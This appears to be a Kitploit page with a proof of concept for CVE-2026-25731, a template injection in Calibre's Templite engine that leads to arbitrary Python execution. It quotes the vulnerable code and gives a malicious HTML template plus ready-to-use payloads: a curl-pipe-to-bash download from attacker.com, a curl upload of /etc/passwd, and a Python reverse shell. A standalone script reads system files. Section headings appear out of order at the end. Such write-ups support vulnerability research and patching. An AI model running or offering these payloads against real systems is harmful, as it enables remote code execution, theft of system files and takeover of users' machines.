CVE-2026-25731 — Proof of Concept for a Server-Side Template Injection (SSTI) vulnerability in Calibre’s Templite engine (GHSA-xrh9-w7qx-3gcc). Demonstrates arbitrary Python code execution via user-supplied HTML export templates in affected versions (≤ 9.1.0). | Kitploit

# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Arbitrary code execution

# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)

<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # Prints current username

# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Prints first line of /etc/passwd

CVE-2026-25731

Most Popular

PoC

1. Create a malicious template file

2. Execute ebook conversion with malicious template

3. Verify code execution

Alternative payloads

Standalone verification

Impact